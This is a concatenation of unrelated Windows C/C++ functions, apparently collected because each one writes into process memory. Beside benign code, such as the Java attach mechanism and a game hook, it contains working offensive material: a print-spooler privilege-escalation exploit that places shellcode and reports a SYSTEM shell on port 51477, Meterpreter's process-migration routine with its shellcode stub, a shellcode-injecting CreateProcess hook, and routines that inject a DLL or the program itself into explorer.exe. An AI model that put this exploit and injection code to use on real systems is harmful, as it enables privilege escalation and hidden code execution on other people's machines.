void WINAPI InjectSelf(DWORD pid, PTHREAD_START_ROUTINE callback, LPVOID payload, int payloadSize, LPDWORD lpExitCode) { HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid); HMODULE hMod; GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS | GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT, (LPCSTR)callback, &hMod); struct _mLocal { unsigned char code[256]; wchar_t fileName[MAX_PATH]; char payloadData[1]; } mLocal; int allocSize = sizeof(mLocal) - sizeof(mLocal.payloadData) + payloadSize; DWORD pRemote = (DWORD)VirtualAllocEx(hProcess, NULL, allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); unsigned char* ptr = mLocal.code; //55 PUSH EBP //8BEC MOV EBP,ESP //83EC 08 SUB ESP,8 PTR_APPEND_STR("\x55\x8B\xEC\x83\xEC\x08"); //68 ???????? PUSH ? ; FileName PTR_APPEND_5BY(0x68, pRemote + offsetof(_mLocal, fileName)); //E8 ???????? CALL ? ; LoadLibraryW HMODULE kernel32 = GetModuleHandleW(L"kernel32"); DWORD offs = (DWORD)pRemote + (ptr - mLocal.code) + 5; PTR_APPEND_5BY(0xE8, (DWORD)GetProcAddress(kernel32, "LoadLibraryW") - offs); //8945 FC MOV DWORD PTR SS:[EBP-4],EAX PTR_APPEND_STR("\x89\x45\xFC"); //68 ???????? PUSH ? ; payload PTR_APPEND_5BY(0x68, pRemote + offsetof(_mLocal, payloadData)); //8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] PTR_APPEND_STR("\x8B\x45\xFC"); //05 ???????? ADD EAX,?; callback offset PTR_APPEND_5BY(0x05, (DWORD)callback - (DWORD)hMod); //FFD0 CALL EAX //8945 F8 MOV DWORD PTR SS:[EBP-8],EAX //8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] //51 PUSH ECX ; hLibModule PTR_APPEND_STR("\xFF\xD0\x89\x45\xF8\x8B\x4D\xFC\x51"); //E8 ???????? CALL ? ; FreeLibrary offs = (DWORD)pRemote + (ptr - mLocal.code) + 5; PTR_APPEND_5BY(0xE8, (DWORD)GetProcAddress(kernel32, "FreeLibrary") - offs); //8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] //8BE5 MOV ESP,EBP //5D POP EBP //C2 0400 RETN 4 PTR_APPEND_STR("\x8B\x45\xF8\x8B\xE5\x5D\xC2\x04\x00"); GetModuleFileNameW(hMod, mLocal.fileName, MAX_PATH); WriteProcessMemory(hProcess, (void*)pRemote, &mLocal, sizeof(mLocal), NULL); WriteProcessMemory(hProcess, (void*)(pRemote + offsetof(_mLocal, payloadData)), payload, payloadSize, NULL); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (PTHREAD_START_ROUTINE)pRemote, 0, 0, NULL); WaitForSingleObject(hThread, INFINITE); if (lpExitCode) GetExitCodeThread(hThread, lpExitCode); CloseHandle(hThread); VirtualFreeEx(hProcess, (void*)pRemote, allocSize, MEM_RELEASE); CloseHandle(hProcess); }
/* Función: InjectDll Descripción: Proceso encargado de controlar la correcta carga en memoria del proceso indicado, de la dll pasada como parametro. Parametros: process - Manejador del proceso donde cargar la dll dll_name - Nombre de la dll Retorno: _ERROR__ - Fallo en alguno de los pasos del proceso _SUCCESS__ - Funcionamiento correcto del proceso */ int InjectDll( HANDLE process, const char * dll_name ) { LOADER_DLL_t loader_struct; unsigned long * loaderdll_address; ULONG suspend_count; DWORD bytes_written; DWORD htread_id; HANDLE htread; int return_function; char * debug_string; int timeout_suspend; // Inicializacion de las variables locales return_function = _SUCCESS__; // Pedimos memoria en el proceso remoto debug_string = "Allocate memory in the extern process."; loaderdll_address \ = (unsigned long *) \ VirtualAllocEx \ ( \ process , \ NULL , \ sizeof( loader_struct ) , \ MEM_COMMIT , \ PAGE_EXECUTE_READWRITE \ ) \ ; if ( loaderdll_address == NULL ) { printf( " [FAIL] - %s\n", debug_string ); ShowGetLastErrorString( "InjectDll:VirtualAllocEx(loader)" ); return _ERROR__; } else printf( " [OK] - %s\n", debug_string ); printf ( " [INFO] - Address reserved on the other process: 0x%08X\n", loaderdll_address ); printf( " [INFO] - Space requested: %d\n", sizeof( loader_struct ) ); // Creamos la estructura del cargador de la dll para poder inyectarlo debug_string = "Creating structure for the dll load."; if ( CreateLoaderDLLStruct ( & loader_struct , (unsigned long) loaderdll_address , dll_name ) == _ERROR__ ) { printf( " [FAIL] - %s\n", debug_string ); return_function = _ERROR__; } else printf( " [OK] - %s\n", debug_string ); // Escribimos en la memoria remota la estructura de carga de la DLL if ( return_function == _SUCCESS__ ) { debug_string = "Writing structure for the dll load."; if ( WriteProcessMemory ( process , loaderdll_address , & loader_struct , (DWORD) sizeof( loader_struct ) , & bytes_written ) == 0 ) { printf( " [FAIL] - %s\n", debug_string ); ShowGetLastErrorString( "InjectDll:WriteProcessMemory(loader)" ); printf( " Has been written: %d bytes.\n\n", bytes_written ); return_function = _ERROR__; } else printf( " [OK] - %s\n", debug_string ); } // Creamos un hilo remoto para que se ejecute el codigo de nuestro cargador if ( return_function == _SUCCESS__ ) { debug_string = "Creating remote thread."; htread = \ CreateRemoteThread ( process , NULL , 0 , (LPVOID) loaderdll_address , NULL , 0 , & htread_id ); if ( htread == NULL ) { printf( " [FAIL] - %s\n", debug_string ); ShowGetLastErrorString( "InjectDll:CreateRemoteThread(loader)" ); return_function = _ERROR__; } else { printf( " [OK] - %s\n", debug_string ); printf ( " [INFO] - Thread created with TID: 0x%04X\n", htread_id ); } } // Recuperamos la direccion de la funcion para controlar el estado del // hilo remoto if ( return_function == _SUCCESS__ ) { timeout_suspend = 0; printf( " [INFO] - Attempt: " ); do { printf( "%d", timeout_suspend + 1 ); Sleep( TIME_OUT_CHECK_SUSPEND_THREAD ); timeout_suspend++; if ( ReadProcessMemory ( process , (LPCVOID) ((ULONG) loaderdll_address ) + DISTANCE_TO_FLAG , & loader_struct.flag , sizeof( loader_struct.flag ) , & bytes_written ) == 0 ) { printf ( " Failure in ReadProccessMemory, : %d bytes have been read." "\n\n", bytes_written ); ShowGetLastErrorString ( "InjectDll:ReadProcessMemory(suspend flag)" ); } if ( ( loader_struct.flag == 0 ) && ( timeout_suspend < TIME_OUT_SUSPEND ) ) printf( "\b" ); else putchar( '\n' ); } while ( ( loader_struct.flag == 0 ) && ( timeout_suspend < TIME_OUT_SUSPEND ) ); if ( timeout_suspend == TIME_OUT_SUSPEND ) { puts( " [FAIL] - Thread couldn't be suspended." ); return_function == _ERROR__; } else puts( " [INFO] - Thread has entered suspension mode." ); } // Si todo esta correcto terminamos el hilo remoto if ( return_function == _SUCCESS__ ) { debug_string = "Injection thread ended."; if ( TerminateThread( htread, 0 ) == 0 ) { printf( " [FAIL] - %s\n", debug_string ); ShowGetLastErrorString( "InjectDll:TerminateThread(loader)" ); return_function = _ERROR__; } else printf( " [OK] - %s\n", debug_string ); } // Liberamos la memoria pedida debug_string = "Memory in remote thread freed."; if ( VirtualFreeEx ( process , loaderdll_address , 0 , MEM_RELEASE ) == 0 ) { printf( " [FAIL] - %s\n", debug_string ); ShowGetLastErrorString( "InjectDll:VirtualFreeEx(loader)" ); } else printf( " [OK] - %s\n", debug_string ); return return_function; }
int main(int argc, char* argv[]) { unsigned char exploit[BOFSIZE]; unsigned char buffer[REQUIRED_SIZE]; DWORD dwSizeNeeded,n=0; DWORD datalen=REQUIRED_SIZE; LARGE_INTEGER dirs; HANDLE hProcess; DWORD write; char *p,i; #define lpLocalAddress dirs.LowPart #define lpTargetAddress dirs.HighPart printf("[+] Exploit universal para provedores de impressão\n"); printf("[+] Talvez o Citrix metaframe, DiskAccess ou Novel suas versões foram afetadas\n"); printf("[+] Exploit by Drago\n\n"); printf("[+] Conectando a porta de spooler LCP \\RPC Control\\spoolss\n"); do { dirs=ConnectToLPCPort(); printf("[+] Tente localizar um endereço valido: Encontrados 0x%8.8x após %i tentativas\r",lpTargetAddress,n+1); if (lpLocalAddress==0){ printf("\n[-] Não foi possivel se conectar a porta de spooler LPC\n"); printf("[-] Verifique se o serviço está rodando\n"); exit(0); } i=lpTargetAddress>>24; // & 0xFF000000 == 0 n++; if (n==MAXLOOPS) { printf("\n[-] Não é possível localizar um endereço válido após %i tries\n",n); printf("[?] Talvez o valor REQUIRED_SIZE deve ajudar. Tente aumenta-lo\n"); return(0); } }while (i!=0); //printf(" (%i tries)\n",n); printf("\n"); printf("[+] Memoria mapeada. Endereço do cliente: 0x%8.8x\n",lpLocalAddress); printf("[+] Memoria mapeada. Endereço do servidor: 0x%8.8x\n",lpTargetAddress); i=(lpTargetAddress<<8)>>24; //Preencha tudo com os rets. Eu não ligo pra onde eles estão. memset(exploit,i,sizeof(exploit)); exploit[sizeof(exploit)-1]='\0'; /* memset(exploit,'A',sizeof(exploit)-1); exploit[262]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess exploit[263]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess exploit[264]='\0'; */ printf("[+] Alvejando o endereço de retorno para : 0x00%2.2X00%2.2X\n",exploit[262],exploit[262]); p=(char *)lpLocalAddress; memset(&buffer[0],0x90,REQUIRED_SIZE); memcpy(&buffer[REQUIRED_SIZE -sizeof(shellcode)-10],shellcode,sizeof(shellcode)); printf("[+] Escrevendo memória compartilhada...\n"); if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()))!= NULL ) { if ( WriteProcessMemory( hProcess, p, &buffer[0], REQUIRED_SIZE, &write )!=0 ) { printf("[+] Ecrever 0x%x bytes \n",write); printf("[+] Explorando vulnerabilidade....\n"); printf("[+] Exploit completo. Agora tente conectar a 127.0.0.1:51477\n"); printf("[+] e verifique se você é o sistema =)\n"); EnumPrintersA ( PRINTER_ENUM_NAME, (char *)exploit, 1, NULL, 0, &dwSizeNeeded, &n ); return(1); } else { printf("[-] Escrito 0x%x bytes \n",write); } } printf("[-] Alguma coisa deu errado. Error %i - Boa sorte na proxima\n",GetLastError()); return(0); }
BOOL WINAPI MyCreateProcessInternalW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, PHANDLE hNewToken) { //return CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles // , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); if (!lpApplicationName && lpCommandLine) { LPWSTR *szArglist; int nArgs; szArglist = CommandLineToArgvW(lpCommandLine, &nArgs); if(szArglist ) { if (nArgs == 2 && StrStrIW(szArglist[0], L"loaddll.exe")) { dwCreationFlags |= CREATE_SUSPENDED; BOOL bRet = CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); if (bRet) { LPVOID lpAddr = VirtualAllocEx(lpProcessInformation->hProcess, 0, 1000,MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddr) { CONTEXT ct; ct.ContextFlags = CONTEXT_CONTROL; // eip GetThreadContext(lpProcessInformation->hThread, &ct); //*((DWORD*)lpAddr) = ct.Eip; WriteProcessMemory(lpProcessInformation->hProcess, lpAddr, &ct.Eip, 4, 0); HMODULE hKer = GetModuleHandleW(L"kernel32.dll"); PROC pp = GetProcAddress(hKer, "LoadLibraryA"); //*((DWORD*)lpAddr + 1) = GetProcAddress(hKer, "LoadLibraryA"); WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+4), &pp, 4, 0); char loadsys[MAX_PATH] = {0}; GetModuleFileNameA(NULL, loadsys, MAX_PATH); char* p = strrchr(loadsys, '\\'); if (p) { *(p + 1) = 0; strcat(loadsys, "loadsys.dll"); } WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+8), loadsys, MAX_PATH, 0); const char shell[] = {0x6A, 0x00, 0x60, 0x9C, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5E, 0x81, 0xE6, 0x00, 0x00, 0xFF, 0xFF, 0xAD, 0x89, 0x44, 0x24, 0x24, 0xAD, 0x56, 0xFF, 0xD0, 0x9D, 0x61, 0xC3}; WriteProcessMemory(lpProcessInformation->hProcess, (LPVOID)((DWORD)lpAddr+8 + MAX_PATH), shell, MAX_PATH, 0); ct.Eip = (DWORD)lpAddr+8 + MAX_PATH; SetThreadContext(lpProcessInformation->hThread, &ct); ResumeThread(lpProcessInformation->hThread); //VirtualFreeEx(lpProcessInformation->hProcess, lpAddr, 0, MEM_RELEASE); } } LocalFree(szArglist); return bRet; } LocalFree(szArglist); } } return CreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles , dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken); }
/* * Class: sun_tools_attach_WindowsVirtualMachine * Method: enqueue * Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V */ JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd, jstring pipename, jobjectArray args) { DataBlock data; DataBlock* pData; DWORD* pCode; DWORD numBytes; DWORD stubLen; HANDLE hProcess, hThread; jint argsLen, i; jbyte* stubCode; jboolean isCopy; /* * Setup data to copy to target process */ data._LoadLibrary = _LoadLibrary; data._GetProcAddress = _GetProcAddress; strcpy(data.jvmLib, "jvm"); strcpy(data.func1, "JVM_EnqueueOperation"); strcpy(data.func2, "_JVM_EnqueueOperation@20"); /* * Command and arguments */ jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH); argsLen = (*env)->GetArrayLength(env, args); if (argsLen > 0) { if (argsLen > MAX_ARGS) { JNU_ThrowInternalError(env, "Too many arguments"); } for (i=0; i<argsLen; i++) { jobject obj = (*env)->GetObjectArrayElement(env, args, i); if (obj == NULL) { data.arg[i][0] = '\0'; } else { jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH); } if ((*env)->ExceptionOccurred(env)) return; } } for (i=argsLen; i<MAX_ARGS; i++) { data.arg[i][0] = '\0'; } /* pipe name */ jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH); /* * Allocate memory in target process for data and code stub * (assumed aligned and matches architecture of target process) */ hProcess = (HANDLE)handle; pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE ); if (pData == NULL) { JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed"); return; } WriteProcessMemory( hProcess, (LPVOID)pData, (LPVOID)&data, (DWORD)sizeof(DataBlock), &numBytes ); stubLen = (DWORD)(*env)->GetArrayLength(env, stub); stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy); pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); if (pCode == NULL) { JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed"); VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE); return; } WriteProcessMemory( hProcess, (LPVOID)pCode, (LPVOID)stubCode, (DWORD)stubLen, &numBytes ); if (isCopy) { (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT); } /* * Create thread in target process to execute code */ hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pCode, pData, 0, NULL ); if (hThread != NULL) { if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) { JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed"); } else { DWORD exitCode; GetExitCodeThread(hThread, &exitCode); if (exitCode) { switch (exitCode) { case ERR_OPEN_JVM_FAIL : JNU_ThrowIOException(env, "jvm.dll not loaded by target process"); break; case ERR_GET_ENQUEUE_FUNC_FAIL : JNU_ThrowIOException(env, "Unable to enqueue operation: the target VM does not support attach mechanism"); break; default : JNU_ThrowInternalError(env, "Remote thread failed for unknown reason"); } } } CloseHandle(hThread); } else { JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed"); } VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE); }
bool ProcessInfo::MemWrite(ptr address, const void* buffer, ptr size) { return !!WriteProcessMemory(this->hProcess, reinterpret_cast<void*>(address), buffer, size, nullptr); }
DWORD remote_request_core_migrate(Remote *remote, Packet *packet) { MigrationStubContext context; TOKEN_PRIVILEGES privs; HANDLE token = NULL; Packet *response = packet_create_response(packet); HANDLE process = NULL; HANDLE thread = NULL; HANDLE event = NULL; LPVOID dataBase; LPVOID codeBase; DWORD threadId; DWORD result = ERROR_SUCCESS; DWORD pid; PUCHAR payload; // Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer). BYTE stub[] = "\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext * "\x89\xE5" // mov ebp,esp ; create stack frame "\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack "\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32 "\x51" // push ecx ; push "ws2_32" "\xFF\x16" // call near [esi] ; call loadLibrary "\x54" // push esp ; push stack address "\x6A\x02" // push byte +0x2 ; push 2 "\xFF\x56\x0C" // call near [esi+0xC] ; call wsaStartup "\x6A\x00" // push byte +0x0 ; push null "\x6A\x00" // push byte +0x0 ; push null "\x8D\x46\x28" // lea eax,[esi+0x28] ; EAX = MigrationStubContext->info "\x50" // push eax ; push our duplicated socket "\x6A\x00" // push byte +0x0 ; push null "\x6A\x02" // push byte +0x2 ; push 2 "\x6A\x01" // push byte +0x1 ; push 1 "\xFF\x56\x10" // call near [esi+0x10] ; call wsaSocket "\x97" // xchg eax,edi ; edi now = our duplicated socket "\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event "\xFF\x56\x18" // call near [esi+0x18] ; call setevent "\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase "\xC3"; // ret ; return into the payload // Get the process identifier to inject into pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); // Bug fix for Ticket #275: get the desired length of the to-be-read-in payload buffer... context.payloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); // Receive the actual migration payload (metsrv.dll + loader) payload = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); // Try to enable the debug privilege so that we can migrate into system // services if we're administrator. if (OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) { privs.PrivilegeCount = 1; privs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &privs.Privileges[0].Luid); AdjustTokenPrivileges(token, FALSE, &privs, 0, NULL, NULL); CloseHandle(token); } do { // Open the process so that we can into it if (!(process = OpenProcess( PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid))) { result = GetLastError(); break; } // If the socket duplication fails... if (WSADuplicateSocket(remote_get_fd(remote), pid, &context.info) != NO_ERROR) { result = WSAGetLastError(); break; } // Create a notification event that we'll use to know when // it's safe to exit (once the socket has been referenced in // the other process) if (!(event = CreateEvent(NULL, TRUE, FALSE, NULL))) { result = GetLastError(); break; } // Duplicate the event handle into the target process if (!DuplicateHandle(GetCurrentProcess(), event, process, &context.event, 0, TRUE, DUPLICATE_SAME_ACCESS)) { result = GetLastError(); break; } // Initialize the migration context context.loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "LoadLibraryA"); context.wsaStartup = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSAStartup"); context.wsaSocket = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "WSASocketA"); context.recv = (LPVOID)GetProcAddress(GetModuleHandle("ws2_32"), "recv"); context.setevent = (LPVOID)GetProcAddress(GetModuleHandle("kernel32"), "SetEvent"); strcpy(context.ws2_32, "ws2_32"); // Allocate storage for the stub and context if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Bug fix for Ticket #275: Allocate a RWX buffer for the to-be-read-in payload... if (!(context.payloadBase = VirtualAllocEx(process, NULL, context.payloadLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE))) { result = GetLastError(); break; } // Initialize the data and code base in the target process codeBase = (PCHAR)dataBase + sizeof(MigrationStubContext); if (!WriteProcessMemory(process, dataBase, &context, sizeof(context), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, codeBase, stub, sizeof(stub), NULL)) { result = GetLastError(); break; } if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL)) { result = GetLastError(); break; } // Send a successful response to let them know that we've pretty much // successfully migrated and are reaching the point of no return packet_transmit_response(result, remote, response); // XXX: Skip SSL shutdown/notify, as it queues a TLS alert on the socket. // Shut down our SSL session // ssl_close_notify(&remote->ssl); // ssl_free(&remote->ssl); response = NULL; // Create the thread in the remote process if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId))) { result = GetLastError(); ExitThread(result); } // Wait at most 5 seconds for the event to be set letting us know that // it's finished if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0) { result = GetLastError(); ExitThread(result); } // Exit the current process now that we've migrated to another one dprintf("Shutting down the Meterpreter thread..."); ExitThread(0); } while (0); // If we failed and have not sent the response, do so now if (result != ERROR_SUCCESS && response) packet_transmit_response(result, remote, response); // Cleanup if (process) CloseHandle(process); if (thread) CloseHandle(thread); if (event) CloseHandle(event); return ERROR_SUCCESS; }
static RVOID injectIntoProcess ( ) { RNCHAR strSeDebug[] = _NC( "SeDebugPrivilege" ); processLibProcEntry* procIds = NULL; processLibProcEntry* tmpProcId = NULL; rSequence targetProc = NULL; RU32 targetPid = 0; RPWCHAR procName = NULL; RWCHAR targetProcName[] = _WCH( "EXPLORER.EXE" ); HANDLE hProc = NULL; RU32 selfSize = 0; RPVOID remoteDest = NULL; SIZE_T payloadSize = 0; RPU8 payloadBuff = NULL; rpal_debug_info( "getting debug privilege to inject..." ); if( !Get_Privilege( strSeDebug ) ) { rpal_debug_error( "could not get debug privilege, are we running as admin?" ); return; } rpal_debug_info( "getting process list to find explorer.exe" ); procIds = processLib_getProcessEntries( FALSE ); tmpProcId = procIds; while( NULL != tmpProcId ) { if( NULL != ( targetProc = processLib_getProcessInfo( tmpProcId->pid, NULL ) ) ) { if( rSequence_getSTRINGN( targetProc, RP_TAGS_FILE_PATH, &procName ) ) { rpal_string_toupper( procName ); if( NULL != rpal_string_strstr( procName, targetProcName ) ) { rpal_debug_info( "found the target process: %d", tmpProcId->pid ); targetPid = tmpProcId->pid; } else { rpal_debug_info( "not target process, next..." ); } } else { rpal_debug_warning( "process without file path, odd..." ); } rSequence_free( targetProc ); targetProc = NULL; if( 0 != targetPid ) { break; } } tmpProcId++; } rpal_memory_free( procIds ); if( 0 != targetPid ) { rpal_debug_info( "getting size of self..." ); if( (RU32)(-1) != ( selfSize = rpal_file_getSize( g_self_path, FALSE ) ) ) { rpal_debug_info( "opening target process with right privileges..." ); if( NULL != ( hProc = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, targetPid ) ) ) { rpal_debug_info( "allocating required memory in remote process..." ); if( NULL != ( remoteDest = VirtualAllocEx( hProc, NULL, selfSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE ) ) ) { rpal_debug_info( "reading payload to memory before writing it to remote." ); if( rpal_file_read( g_self_path, (RPVOID*)&payloadBuff, (RU32*)&payloadSize, FALSE ) ) { rpal_debug_info( "writing payload to remote process." ); if( WriteProcessMemory( hProc, remoteDest, payloadBuff, payloadSize, &payloadSize ) && payloadSize == selfSize ) { rpal_debug_info( "successfully written payload to remote process. This should look like an injected PE although no thread was started." ); } else { rpal_debug_error( "error writing payload to remote process." ); } rpal_memory_free( payloadBuff ); } else { rpal_debug_error( "error reading ourselves as payload." ); } } else { rpal_debug_error( "error allocating memory in remote process." ); } CloseHandle( hProc ); } else { rpal_debug_error( "error opening process with VM privilges." ); } } else { rpal_debug_error( "error getting size of self." ); } } }
/// <summary> /// Write virtual memory /// </summary> /// <param name="lpBaseAddress">Memory address</param> /// <param name="lpBuffer">Buffer to write</param> /// <param name="nSize">Number of bytes to read</param> /// <param name="lpBytes">Mumber of bytes read</param> /// <returns>Status code</returns> NTSTATUS Native::WriteProcessMemoryT( ptr_t lpBaseAddress, LPCVOID lpBuffer, size_t nSize, DWORD64 *lpBytes /*= nullptr */ ) { SetLastNtStatus( STATUS_SUCCESS ); WriteProcessMemory( _hProcess, reinterpret_cast<LPVOID>(lpBaseAddress), lpBuffer, nSize, reinterpret_cast<SIZE_T*>(lpBytes) ); return LastNtStatus(); }
static void hookfunc(uintptr_t address, uintptr_t hookAddress, sint32 stacksize) { sint32 i = 0; uint8 data[HOOK_BYTE_COUNT] = {}; uintptr_t registerAddress = (uintptr_t) &gHookRegisters; data[i++] = 0x89; // mov [gHookRegisters], eax data[i++] = (0b000 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 4], ebx data[i++] = (0b011 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 4); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 8], ecx data[i++] = (0b001 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 8); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 12], edx data[i++] = (0b010 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 12); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 16], esi data[i++] = (0b110 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 16); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 20], edi data[i++] = (0b111 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 20); i += 4; data[i++] = 0x89; // mov [gHookRegisters + 24], ebp data[i++] = (0b101 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 24); i += 4; // work out distance to nearest 0xC // (esp - numargs * 4) & 0xC // move to align - 4 // save that amount // push the registers to be on the stack to access as arguments data[i++] = 0x68; // push gHookRegisters write_address_strictalias(&data[i], registerAddress); i += 4; data[i++] = 0xE8; // call write_address_strictalias(&data[i], hookAddress - address - i - 4); i += 4; data[i++] = 0x83; // add esp, 4 data[i++] = 0xC4; data[i++] = 0x04; data[i++] = 0x25; // and eax,0xff data[i++] = 0xff; data[i++] = 0x00; data[i++] = 0x00; data[i++] = 0x00; data[i++] = 0xc1; // shl eax, 8 data[i++] = 0xe0; data[i++] = 0x08; data[i++] = 0x9e; // sahf data[i++] = 0x9c; // pushf data[i++] = 0x8B; // mov eax, [gHookRegisters] data[i++] = (0b000 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress); i += 4; data[i++] = 0x8B; // mov ebx, [gHookRegisters + 4] data[i++] = (0b011 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 4); i += 4; data[i++] = 0x8B; // mov ecx, [gHookRegisters + 8] data[i++] = (0b001 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 8); i += 4; data[i++] = 0x8B; // mov edx, [gHookRegisters + 12] data[i++] = (0b010 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 12); i += 4; data[i++] = 0x8B; // mov esi, [gHookRegisters + 16] data[i++] = (0b110 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 16); i += 4; data[i++] = 0x8B; // mov edi, [gHookRegisters + 20] data[i++] = (0b111 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 20); i += 4; data[i++] = 0x8B; // mov ebp, [gHookRegisters + 24] data[i++] = (0b101 << 3) | 0b101; write_address_strictalias(&data[i], registerAddress + 24); i += 4; data[i++] = 0x9d; // popf data[i++] = 0xC3; // retn #ifdef _WIN32 WriteProcessMemory(GetCurrentProcess(), (LPVOID)address, data, i, 0); #else // We own the pages with PROT_WRITE | PROT_EXEC, we can simply just memcpy the data memcpy((void *)address, data, i); #endif // _WIN32 }
